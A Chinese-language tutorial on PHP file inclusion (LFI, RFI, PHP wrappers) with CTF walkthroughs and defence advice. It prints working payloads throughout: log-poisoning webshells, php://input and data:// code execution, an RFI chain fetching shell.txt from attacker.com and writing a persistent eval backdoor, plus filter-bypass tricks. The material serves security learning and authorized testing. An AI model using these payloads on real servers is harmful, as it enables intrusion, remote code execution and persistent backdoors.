本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。
目录
[1. 读取敏感文件](#1. 读取敏感文件)
[2. 结合日志注入获得 Webshell](#2. 结合日志注入获得 Webshell)
[3. 配合文件上传](#3. 配合文件上传)
[4. 使用 PHP 伪协议绕过扩展名限制](#4. 使用 PHP 伪协议绕过扩展名限制)
[极客大挑战 2019Secret File](#[极客大挑战 2019]Secret File)
[Step 1:准备恶意脚本](#Step 1:准备恶意脚本)
[Step 2:触发远程包含](#Step 2:触发远程包含)
[Step 3:执行系统命令](#Step 3:执行系统命令)
[Step 4:写入后门(可选)](#Step 4:写入后门(可选))
[六、RFI 的高级利用](#六、RFI 的高级利用)
[1. 使用 php://input(也是一种 RFI)](#1. 使用 php://input(也是一种 RFI))
[2. 使用 data:// 协议](#2. 使用 data:// 协议)
[3. 使用 expect:// 协议(需安装 expect 扩展)](#3. 使用 expect:// 协议(需安装 expect 扩展))
[九、实际案例(CTF 常见题型)](#九、实际案例(CTF 常见题型))
[一、什么是 PHP 伪协议](#一、什么是 PHP 伪协议)
[1. php://filter ------ 读取 PHP 源码](#1. php://filter —— 读取 PHP 源码)
[2. php://input ------ 执行任意 POST 数据](#2. php://input —— 执行任意 POST 数据)
[3. data:// ------ 内联代码执行](#3. data:// —— 内联代码执行)
[4. zip:// ------ 包含压缩包内的文件](#4. zip:// —— 包含压缩包内的文件)
[5. phar:// ------ 包含 PHAR 包内的文件](#5. phar:// —— 包含 PHAR 包内的文件)
[6. file:// ------ 访问本地文件](#6. file:// —— 访问本地文件)
[7. http:// / https:// ------ 远程文件包含(RFI)](#7. http:// / https:// —— 远程文件包含(RFI))
[三、CTF 实战常用 Payload](#三、CTF 实战常用 Payload)
[CTFHub 伪协议相关题目速查表](#CTFHub 伪协议相关题目速查表)
[BUUCTF 伪协议相关题目速查表](#BUUCTF 伪协议相关题目速查表)
[1. 输入验证与过滤](#1. 输入验证与过滤)
[2. PHP 配置安全加固](#2. PHP 配置安全加固)
[3. 代码层防御](#3. 代码层防御)
[4. 服务器配置](#4. 服务器配置)
[5. 开发规范](#5. 开发规范)
[1. 路径遍历绕过](#1. 路径遍历绕过)
[2. 编码绕过](#2. 编码绕过)
[3. 远程文件包含(RFI)绕过](#3. 远程文件包含(RFI)绕过)
[4. 伪协议绕过](#4. 伪协议绕过)
[5. 日志注入绕过](#5. 日志注入绕过)
[6. 配合文件上传](#6. 配合文件上传)
[7. 环境变量与进程文件](#7. 环境变量与进程文件)
[8. 绕过 open_basedir](#8. 绕过 open_basedir)
一、本地文件包含
一、什么是本地文件包含
本地文件包含(Local File Inclusion,LFI) 是指 Web 应用程序在动态包含文件时,对用户输入的路径参数未进行严格过滤 ,导致攻击者可以通过构造特殊的路径(如 ../../../../etc/passwd)读取或执行服务器本地的文件。
简单来说:攻击者利用程序的文件包含功能,读取或执行服务器上本不该被访问的文件。
二、漏洞产生的原因
开发人员为了代码复用,经常使用动态包含机制:
$page = $_GET['page']; include($page . ".php");
如果用户可控的 $page 没有被过滤,攻击者可以传入:
-
../../../../etc/passwd→ 读取系统密码文件 -
../../../../proc/self/environ→ 读取环境变量 -
php://filter/convert.base64-encode/resource=config.php→ 读取 PHP 源码(需要开启伪协议)
三、本地文件包含的典型利用
1. 读取敏感文件
http://target.com/index.php?page=../../../../etc/passwd http://target.com/index.php?page=../../../../var/log/apache/access.log
2. 结合日志注入获得 Webshell
如果 Web 服务器将用户请求记录到日志文件(如 access.log),攻击者可以在 User-Agent 中写入 PHP 代码:
User-Agent: <?php system($_GET['cmd']); ?>
然后通过 LFI 包含该日志文件,执行代码。
3. 配合文件上传
上传一个图片马(内容为 <?php phpinfo(); ?>),然后通过 LFI 包含该图片文件,使其中的 PHP 代码被执行。
4. 使用 PHP 伪协议绕过扩展名限制
// 假设 include($_GET['page'] . ".php"); // 使用空字节截断(旧版本有效) ?page=../../../../etc/passwd%00 // 使用伪协议读取源码 ?page=php://filter/convert.base64-encode/resource=config
四、本地文件包含的进阶利用
| 利用方式 | 说明 |
|---|---|
| 远程文件包含(RFI) | 若 allow_url_include=On,可直接包含远程服务器上的恶意脚本,如 http://attacker.com/shell.txt |
| 包含上传的文件 | 结合文件上传漏洞,包含上传的图片马或临时文件 |
| 包含环境变量/进程文件 | 读取 /proc/self/environ 获取敏感环境变量 |
| 包含 SSH 日志 | 在某些配置下,可以包含 /var/log/auth.log,并通过恶意用户名注入代码 |
| 包含 Session 文件 | 如果 Session 内容可控,可写入 PHP 代码并包含 |
五、常见本地文件包含的绕过技巧
| 防御措施 | 绕过方法 |
|---|---|
添加固定后缀 .php |
使用路径截断(%00,仅 PHP<5.3.4)或使用 ? 截断 |
过滤 ../ |
双写 ....//(过滤后剩下 ../)或使用编码 %2e%2e%2f |
过滤 etc/passwd |
使用绝对路径 /etc/passwd 或大小写混淆 |
| 限制目录 | 使用 ../../../../../var/log/../etc/passwd |
六、本地文件包含的危害
-
信息泄露:读取配置文件、数据库密码、源代码。
-
代码执行:配合日志注入、文件上传等,获得 Webshell。
-
权限提升:读取系统敏感文件,获取进一步的攻击目标。
-
内网探测 :读取
/proc/net/arp等网络信息。
七、防御措施
-
关闭危险配置:
-
allow_url_include = Off(关闭远程文件包含) -
allow_url_fopen = Off
-
-
使用白名单:
$allowed = array('home', 'about', 'contact'); if(in_array($_GET['page'], $allowed)) { include($_GET['page'] . '.php'); } -
过滤用户输入:
-
禁止
..、/、\、%00、php://、file://等危险字符。 -
使用
realpath()检查文件是否在指定目录内。
-
-
设置
open_basedir:限制 PHP 可访问的目录范围。 -
禁用不必要的伪协议 :在
php.ini中禁用php://input、php://filter等(如果不需要)。 -
Web 服务器配置:禁止访问日志、配置文件等敏感目录。
八、与远程文件包含的区别
| 对比 | 本地文件包含 (LFI) | 远程文件包含 (RFI) |
|---|---|---|
| 包含的文件位置 | 本地服务器文件 | 远程服务器文件(HTTP/HTTPS) |
| 前提条件 | 无特殊配置 | allow_url_include=On |
| 典型用途 | 读取系统文件、日志注入 | 直接执行远程恶意脚本 |
| 危害程度 | 高 | 极高(直接 Getshell) |
九、总结
本地文件包含漏洞的本质是对用户输入的文件路径缺乏验证 ,导致攻击者可以越权访问服务器上的任意文件。结合日志注入、文件上传、伪协议等技术,可以进一步实现代码执行和权限提升。开发者必须永远不要信任用户的输入,使用白名单、限制访问范围、关闭危险配置才能有效防御
十、靶场演示
文件包含:
构造执行phpinfo()命令的Payload,需要将POST参数设置为ctfhub=phpinfo();
用火狐浏览器的hackbar填入一下内容

构造执行查看当前目录下文件命令(ls)的Payload,需要将POST参数设置为ctfhub=system("ls");

构造执行查看根目录下文件命令(ls /)的Payload,需要将POST参数设置为ctfhub=system("ls /");

构造执行查看根目录下flag文件内容命令 (cat /flag)的Payload,需要将POST参数设置为ctfhub=system("cat /flag");
得到flag

极客大挑战 2019Secret File
一、信息收集阶段
- 查看首页源代码
· 操作:浏览器右键 → 查看源代码(或 F12 Elements) · 发现:页面注释或隐藏标签中包含 Archive_room.php · 原理:前端代码中通过注释或隐藏元素提供线索

- 访问 Archive_room.php
· 操作:直接访问 http://靶场/Archive_room.php · 发现:新页面有一个"SECRET"按钮,点击后跳转到 end.php

- 使用 Burp Suite 抓包
· 操作:打开 Burp 代理,点击"SECRET"按钮,拦截请求 · 发现:实际请求先经过 action.php,响应中携带 secr3t.php 的链接,然后才重定向到 end.php · 原理:利用抓包工具查看中间跳转,找到真实入口


- 访问 secr3t.php
· 操作:在浏览器地址栏输入 http://靶场/secr3t.php · 结果:页面显示 PHP 源码,内容如下:
highlight_file(__FILE__); error_reporting(0); $file=$_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")){ echo "Oh no!"; exit(); } include($file); // flag放在了flag.php里
· 原理:通过直接访问文件,获得源码,发现文件包含漏洞及黑名单过滤规则

二、漏洞利用阶段
- 构造最终 Payload
· 命令(URL 参数):
?file=php://filter/convert.base64-encode/resource=flag.php
· 完整访问 URL:
http://靶场/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

原理详解
· 文件包含漏洞:include($_GET'file') 可包含任意文件 · 黑名单限制:过滤了 ../、tp、input,但未过滤 php:// · 为什么不能直接 include('flag.php'):因为 flag.php 中的 PHP 代码会被执行,用户看不到源码 · php://filter 伪协议:可对文件内容进行过滤转换 · convert.base64-encode 将文件内容进行 Base64 编码 后返回 · 这样 include() 包含的是编码后的纯文本,PHP 代码不会被执行,因此我们能直接看到 flag.php 的原始代码 · 资源指定:resource=flag.php 指明目标文件
三、获取 Flag
- 解码 Base64
· 操作:复制页面返回的 Base64 字符串,在本地执行:
echo "base64字符串" | base64 -d
或使用在线解码工具 · 结果:得到 flag.php 的源码,其中包含 flag{...} 或 ctfhub{...} 形式的 flag
二、远程文件包含
一、什么是远程文件包含
远程文件包含(Remote File Inclusion,RFI) 是指 Web 应用程序在动态包含文件时,允许包含远程服务器上的文件(通过 HTTP、FTP 等协议),并且对用户输入的路径参数未做严格过滤,导致攻击者可以指定一个恶意远程文件,使服务器下载并执行该文件中的代码。
简单说:攻击者让目标服务器去加载自己控制的服务器上的恶意脚本,从而在目标服务器上执行任意代码。
二、与本地文件包含(LFI)的区别
| 对比项 | 本地文件包含(LFI) | 远程文件包含(RFI) |
|---|---|---|
| 包含的文件来源 | 本地服务器文件系统 | 远程服务器(HTTP/HTTPS/FTP等) |
| PHP 配置要求 | 无特殊要求,通常默认开启 | 必须开启 allow_url_include = On(PHP 5.2 起默认 Off) |
| 典型利用 | 读取 /etc/passwd、日志注入、包含上传的图片马 |
直接执行远程恶意脚本,一句命令即可获取 WebShell |
| 危害程度 | 高(需要配合其他漏洞才能执行代码) | 极高(直接代码执行,无需其他条件) |
| 常见伪协议 | php://filter、file://、zip:// |
http://、https://、ftp://、php://input(也算 RFI) |
三、远程文件包含的利用条件
-
PHP 配置:
-
allow_url_include = On(PHP 5.2 之后默认关闭) -
allow_url_fopen = On(通常开启,用于读取远程内容)
-
-
应用代码缺陷:
$file = $_GET['page']; include($file); // 直接包含用户传入的参数,无任何过滤 -
远程服务器可被访问:攻击者需要有一个公网可访问的服务器,存放恶意脚本。
四、典型攻击步骤
Step 1:准备恶意脚本
在攻击者服务器(http://attacker.com/)上创建一个文本文件 shell.txt,内容为:
<?php system($_GET['cmd']); ?>
或直接写入一句话木马:
<?php eval($_POST['0']); ?>
Step 2:触发远程包含
访问目标网站的漏洞点:
http://target.com/index.php?page=http://attacker.com/shell.txt
如果目标服务器开启了 allow_url_include,它会下载 shell.txt 并将其中的 PHP 代码当作本地代码执行。
Step 3:执行系统命令
http://target.com/index.php?page=http://attacker.com/shell.txt&cmd=id
返回 uid=33(www-data) ...,证明命令执行成功。
Step 4:写入后门(可选)
利用 RFI 写入一个持久化的 WebShell:
http://target.com/index.php?page=http://attacker.com/shell.txt&cmd=echo '<?php eval($_POST[0]);?>' > shell.php
之后直接访问 shell.php 即可。
五、常见的远程文件包含绕过
| 防御措施 | 绕过方法 |
|---|---|
添加固定后缀 .php |
使用 ? 或 # 截断,如 http://attacker.com/shell.txt?(部分版本有效) |
过滤 http:// |
使用大写 HTTP://,或使用 ftp://、php://input 等替代 |
| 过滤远程协议 | 使用 data://text/plain,<?php system($_GET['cmd']);?>(需要 allow_url_include) |
| 检查扩展名 | 使用 http://attacker.com/shell.jpg(内容仍为 PHP 代码) |
| 限制目录 | 使用 ../ 跳出目录,如 page=http://attacker.com/shell.txt?../../../../ |
六、RFI 的高级利用
1. 使用 php://input(也是一种 RFI)
POST /index.php?page=php://input HTTP/1.1 Host: target.com Content-Type: text/plain <?php system($_GET['cmd']); ?>
不需要外部服务器,直接通过 POST 数据提供代码。
2. 使用 data:// 协议
?page=data://text/plain,<?php system('id'); ?>
需要 allow_url_include=On,且 PHP 版本支持。
3. 使用 expect:// 协议(需安装 expect 扩展)
?page=expect://id
七、远程文件包含的危害
-
直接代码执行:无需上传文件、无需日志注入,一条 URL 即可获得 Shell。
-
绕过文件上传限制:即使上传功能被严格防护,RFI 仍可导致 Getshell。
-
内网漫游:可进一步执行内网扫描、反弹 Shell 等。
-
持久化后门:利用 RFI 在服务器上写入永久后门文件。
八、防御措施
| 层级 | 具体方法 |
|---|---|
| PHP 配置 | allow_url_include = Off(最有效、最简单 ) allow_url_fopen = Off(可选) |
| 代码层面 | - 使用白名单 机制,只允许包含预设的文件。 - 过滤 http://、https://、ftp://、php://、data:// 等协议。 - 使用 realpath() 检查文件是否在允许的目录内。 |
| Web 服务器 | 配置 open_basedir 限制 PHP 可访问的目录。 |
| 输入过滤 | 删除所有 ://、..、\0 等危险字符。 |
九、实际案例(CTF 常见题型)
题目描述 :一个简单的 PHP 页面 ?file=home,访问 ?file=../../../../etc/passwd 无反应,尝试 ?file=http://127.0.0.1/index.php 返回自身源码,说明开启了 allow_url_include。
解法:
-
准备远程服务器,写入
<?php system('cat /flag'); ?>。 -
访问
?file=http://attacker.com/shell.txt。 -
页面直接返回 flag。
或者利用 php://input:
POST /?file=php://input HTTP/1.1 Content-Type: text/plain <?php system('cat /flag'); ?>
十、总结
远程文件包含(RFI)是比 LFI 更危险的漏洞,因为它直接允许攻击者在目标服务器上执行任意代码,且利用门槛很低(只需要一个可访问的 URL)。防御的核心是关闭 allow_url_include,并在代码中采用白名单包含策略。任何对外部传入文件路径的盲目信任都可能酿成灾难性后果。
十一、靶场简单演示
远程包含:
跟上个步骤相同

查看是否符合条件
php.ini 中 allow_url_fopen=On (默认开启)和 allow_url_include=Off (默认关闭)要开启(On表示开启)

继续用bp抓包放包

改一下shell,放包找到flag

三、伪协议
一、什么是 PHP 伪协议
PHP 支持多种 封装协议(Wrapper) ,允许通过 include、file_get_contents、readfile 等函数访问不同的数据源。攻击者可以利用这些协议绕过过滤、读取源码、执行任意代码,从而扩展文件包含漏洞的攻击面。
常见的 PHP 伪协议包括:
| 协议 | 功能 | 前提条件 |
|---|---|---|
php://filter |
读取文件源码(编码/转换) | 无需特殊配置 |
php://input |
将 POST 数据作为 PHP 代码执行 | allow_url_include=On |
data:// |
内联数据流 | allow_url_include=On |
zip:// |
访问压缩包内的文件 | 需要上传 zip 文件 |
phar:// |
访问 PHP Archive 内的文件 | 需要上传 phar 文件 |
file:// |
访问本地文件系统(默认) | 默认可用 |
http:// / https:// |
远程文件包含(RFI) | allow_url_include=On |
二、各伪协议详解与利用示例
1. php://filter ------ 读取 PHP 源码
作用:读取文件内容并进行过滤/编码,常用于读取 PHP 源码(避免直接包含被执行)。
语法:
php://filter/convert.base64-encode/resource=file.php
示例:
// 假设存在文件包含漏洞 include($_GET['file']); // 攻击者访问 ?file=php://filter/convert.base64-encode/resource=index.php
服务器返回 index.php 的 Base64 编码内容,解码后即可获得原始源码。
变种:
-
多个过滤器链:
php://filter/string.toupper|string.rot13/resource=flag.php -
读取其他文件:
/etc/passwd、config.php、../flag等。
特点 :不需要 allow_url_include 开启,几乎 100% 可用。
2. php://input ------ 执行任意 POST 数据
作用:将 HTTP 请求的原始 Body 当作 PHP 代码执行。
前提 :allow_url_include = On。
示例:
POST /index.php?file=php://input HTTP/1.1 Host: target.com Content-Type: text/plain <?php system('id'); ?>
如果代码中存在 include($_GET['file']),上述 POST 数据中的 PHP 代码会被执行。
特点:直接获得代码执行,无需上传文件,是 RFI 的常用替代方案。
3. data:// ------ 内联代码执行
作用:将 Base64 或 URL 编码的数据作为文件内容包含。
前提 :allow_url_include = On。
语法:
data://text/plain,<?php phpinfo(); ?> data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
示例:
?file=data://text/plain,<?php system('cat /flag'); ?>
或使用 Base64:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTsgPz4=
特点:无需外部服务器,一条 URL 直接执行代码。
4. zip:// ------ 包含压缩包内的文件
作用:读取 ZIP 压缩包内的指定文件,并可将其作为脚本执行。
前提:需要上传一个 ZIP 文件到服务器(通过其他漏洞,如文件上传、写文件等)。
语法:
zip://path/to/archive.zip%23inner_file.php
注意:# 必须编码为 %23。
示例:
-
创建
shell.php内容为<?php system($_GET['cmd']); ?>。 -
压缩为
shell.zip并上传到服务器(如/uploads/shell.zip)。 -
利用 LFI 包含:
?file=zip://uploads/shell.zip%23shell.php -
访问
?cmd=id即可执行命令。
特点 :可绕过某些扩展名过滤(只允许上传 .zip),且压缩包内文件扩展名任意。
5. phar:// ------ 包含 PHAR 包内的文件
作用 :类似 zip://,但用于 PHP Archive 格式,常与反序列化漏洞配合。
前提 :需要上传 .phar 文件。
示例:
?file=phar://uploads/shell.phar/shell.php
高级利用 :攻击者可以构造恶意的 PHAR 元数据,当通过 phar:// 包含时触发 PHP 反序列化,造成更严重的代码执行。
6. file:// ------ 访问本地文件
作用:直接读取本地文件(默认行为),通常不需要显式指定,但可用于绕过某些过滤。
示例:
?file=file:///etc/passwd
如果 Web 应用过滤了 ../ 但没有过滤 file://,可以使用该协议进行路径遍历。
7. http:// / https:// ------ 远程文件包含(RFI)
作用:包含远程服务器上的文件。
前提 :allow_url_include = On,allow_url_fopen = On。
示例:
?file=http://attacker.com/shell.txt
shell.txt 内容为 <?php system('id'); ?>。
特点:直接代码执行,但需外部服务器,且经常被 WAF 拦截。
三、CTF 实战常用 Payload
| 目的 | Payload |
|---|---|
| 读取 index.php 源码 | ?file=php://filter/convert.base64-encode/resource=index.php |
| 执行 phpinfo() | ?file=data://text/plain,<?=phpinfo();?> |
| 执行系统命令(POST) | POST file=php://input + Body <?php system('ls');?> |
| 包含上传的 zip 中的 PHP | ?file=zip://uploads/shell.zip%23shell.php |
| 包含远程脚本(RFI) | ?file=http://vps/shell.txt |
| 读取 flag(无扩展名) | ?file=php://filter/convert.base64-encode/resource=../flag |
四、防御措施
-
禁用危险协议:
allow_url_include = Off allow_url_fopen = Off并在
php.ini中通过disable_functions或配置禁用php://filter?(无法完全禁用,但可通过open_basedir限制读取范围) -
白名单包含:
$allowed = array('home', 'about'); if(in_array($_GET['page'], $allowed)) { include($_GET['page'] . '.php'); } -
输入过滤 :移除
php://、data://、http://、ftp://等特征字符串,以及../、\0、%00等。 -
使用
realpath()检查路径:$base = '/var/www/html/includes/'; $path = realpath($base . $_GET['file']); if(strpos($path, $base) !== 0) die('Hack'); include($path); -
关闭错误回显:避免泄露路径信息。
-
Web 服务器限制 :设置
open_basedir限制 PHP 可访问的目录。
五、总结
PHP 伪协议是文件包含漏洞利用中的利器,能将简单的包含漏洞升级为源码泄露、任意代码执行甚至服务器沦陷。理解每种协议的功能和限制,对于渗透测试和漏洞修复都至关重要。
防御的核心是 拒绝用户控制包含路径,采用白名单、禁用危险协议、严格过滤输入,多管齐下才能有效阻断此类攻击。
六、靶场推荐
关于伪协议的靶场演示可以看我的ctfhub与buuctf解题笔记
CTFHub 伪协议相关题目速查表
-
CTFHub RCE基础 - 第二题 (文件包含) :概念性题目,理解
include函数及其风险。 -
CTFHub RCE基础 - 第三题 (php:input) :核心是利用
php://input协议,通过 POST 请求发送执行代码来获取 Flag。 -
CTFHub RCE基础 - 第四题 (读取源代码) :利用
php://filter协议读取文件源码。 -
CTFHub RCE基础 - 第五题 (远程包含) :考查 RFI(Remote File Inclusion),通过
http://等协议包含远程服务器上的恶意文件执行代码。 -
CTFHub 文件包含 - CTF-04 :考查
php://filter协议,用于读取系统文件。 -
CTFHub 文件包含 - 读取源代码 :明确考查
php://filter协议,以 Base64 编码方式读取flag.php等文件的源码。 -
CTFHub php://input :专门考查
php://input协议,在文件包含点执行代码。 -
CTFHub SSRF 伪协议读取文件 :考查 SSRF(Server-Side Request Forgery,即服务端请求伪造)中
file://协议,用于读取服务器本地文件。
BUUCTF 伪协议相关题目速查表
-
GXYCTF2019BabysqliV3.01 :考查
php://filter协议,用于读取服务器文件源码。 -
ZJCTF 2019NiZhuanSiWei :三重混合挑战,同时考查
data://、php://filter和php://input协议。 -
ACTF2020 新生赛Include :核心考点是
php://filter,用于读取flag.php的源码。 -
NPUCTF2020ezinclude :进阶应用,考查用
php://filter触发 PHP 段错误来获取并包含临时文件。 -
极客大挑战 2019Secret File :一个需要读取源码的题目,常配合
php://filter解法。 -
极客大挑战 2019Http :部分解法会用到
php://filter读取源码辅助解题。
四、文件包含漏洞的防御与绕过
一、防御措施
1. 输入验证与过滤
原则:永远不要直接使用用户输入作为文件路径。
| 防御方式 | 具体实现 | 说明 |
|---|---|---|
| 白名单 | 允许的值写死在代码中,如 ['home','about','contact'] |
最安全,完全避免路径遍历 |
| 黑名单 | 过滤 ../、..\、\0、://、php:// 等 |
容易被绕过,不推荐作为唯一防线 |
| 正则校验 | if(preg_match('/^[a-z]+$/', $page)) |
仅允许字母,限制严格 |
2. PHP 配置安全加固
| 配置项 | 推荐值 | 作用 |
|---|---|---|
allow_url_include |
Off |
禁止远程文件包含(RFI) |
allow_url_fopen |
Off(若非必要) |
禁止读取远程文件 |
open_basedir |
限制 PHP 可访问的目录,如 /var/www/html/ |
防止读取系统敏感文件 |
disable_functions |
禁用危险函数:include, require 等(慎用) |
或使用 disable_classes |
3. 代码层防御
-
固定路径前缀:
$base_dir = '/var/www/html/includes/'; $file = basename($_GET['page']); // 去掉路径 include($base_dir . $file . '.php'); -
使用
realpath()检查:$path = realpath($base_dir . $_GET['page']); if(strpos($path, $base_dir) !== 0) { die('非法路径'); } include($path); -
关闭错误回显:防止路径信息泄露。
4. 服务器配置
-
Web服务器权限 :Web 用户(如
www-data)对系统文件(如/etc/passwd)应无读取权限(通过操作系统 DAC 控制)。 -
日志目录不可访问 :确保
/var/log/不被 Web 直接读取(通过open_basedir或文件权限)。 -
禁用不必要的协议 :如
php://input、php://filter,可在php.ini中通过disable_wrappers限制。
5. 开发规范
-
避免动态包含,采用路由分发机制。
-
使用模板引擎(如 Twig、Smarty)自动转义包含路径。
-
代码审计时重点搜索
include、require、include_once、require_once等函数。
二、绕过技术(攻击者视角)
以下技术仅供安全测试与授权渗透使用。
1. 路径遍历绕过
| 防御 | 绕过方法 |
|---|---|
过滤 ../ |
双写 ....// → 过滤后剩下 ../ 编码 %2e%2e%2f 利用绝对路径 /etc/passwd(若未过滤) |
过滤 .. |
使用 .... 或 ../..././ 等 |
| 限制基础目录 | 使用 ../../../../../ 跳出多个目录 |
后缀自动添加 .php |
使用空字节截断 %00(仅 PHP < 5.3.4) 使用 ? 截断 page=../../etc/passwd? 使用 # 截断(URL 编码 %23) |
2. 编码绕过
-
URL 编码 :
%2e%2e%2f→../ -
双 URL 编码 :
%252e%252e%252f -
Unicode 编码 :
%c0%ae%c0%ae%c0%af(IIS 特定) -
16 进制 :
\x2e\x2e\x2f(部分语言)
3. 远程文件包含(RFI)绕过
前提:allow_url_include = On
| 防御 | 绕过方法 |
|---|---|
过滤 http:// |
使用 HTTP://、http://(大小写) 使用 ftp://、ftps://、php://input、data:// |
后缀强制 .php |
使用 ? 截断:http://attacker.com/shell.txt? 使用 # 截断:http://attacker.com/shell.txt# 使用 %00 截断 |
| 域名白名单 | 寻找允许的域名下的 JSONP 接口 、上传点 等 |
4. 伪协议绕过
| 协议 | 用途 | 前提条件 |
|---|---|---|
php://filter |
读取 PHP 源码:php://filter/convert.base64-encode/resource=index.php |
无特殊要求 |
php://input |
执行 POST 数据中的代码:POST /?page=php://input + <?php system('id');?> |
allow_url_include=On |
data:// |
直接注入代码:?page=data://text/plain,<?php system('id');?> |
allow_url_include=On |
zip:// |
包含 zip 中的文件:?page=zip://shell.zip%23shell.php |
需要上传 zip 文件 |
phar:// |
包含 phar 包中的文件(常用于反序列化) | 需上传 phar 文件 |
5. 日志注入绕过
- 原理 :包含 Web 服务器或应用的日志文件,其中攻击者已通过
User-Agent、Referer等写入 PHP 代码。
| 日志文件路径 | 注入方式 |
|---|---|
/var/log/apache2/access.log |
User-Agent: <?php system($_GET['cmd']);?> |
/var/log/nginx/access.log |
同上 |
/var/log/auth.log |
SSH 登录尝试的用户名中包含 PHP 代码 |
/tmp/sess_*(PHP Session) |
通过 session 参数写入 |
- 绕过过滤 :如果日志文件被过滤,尝试
<?= system('id');?>(短标签)或<script language="php">system('id');</script>。
6. 配合文件上传
-
上传图片马(内容含 PHP 代码),然后通过 LFI 包含该图片文件。
-
如果图片被重命名,需猜测新路径或结合
phar:///zip://协议。
7. 环境变量与进程文件
-
/proc/self/environ:包含环境变量,可通过User-Agent注入。 -
/proc/self/fd/N:访问进程打开的文件描述符,可能包含临时文件。 -
/proc/self/cmdline:命令行参数,可能泄露路径。
8. 绕过 open_basedir
-
使用
DirectoryIterator或glob协议(如果允许)读取目录。 -
利用
ini_set()尝试修改(通常被禁用)。 -
使用
realpath()配合路径拼接突破。
三、防御与绕过对抗示例
| 防御措施 | 绕过技巧 | 进一步防御 |
|---|---|---|
| 白名单包含 | 无法绕过 | - |
过滤 ../ |
....// 双写 |
递归删除 .. 直到无变化 |
强制添加 .php |
%00 截断(旧版 PHP) |
升级 PHP 版本,禁止空字节 |
关闭 allow_url_include |
无法 RFI,但 LFI 仍可读文件 | 配合 open_basedir 限制读取范围 |
open_basedir 限制目录 |
使用 zip:// 或 phar:// 协议(若未禁用) |
禁用危险协议 |
四、总结
-
最有效的防御 :白名单 + 禁用远程包含 +
open_basedir+ 文件权限最小化。 -
绕过的核心思路:寻找过滤规则的漏洞(截断、编码、双写),利用各种 PHP 伪协议或日志文件。
-
现实场景:LFI 比 RFI 更常见(因 RFI 默认关闭),但 LFI 往往需要配合文件上传或日志注入才能获得代码执行。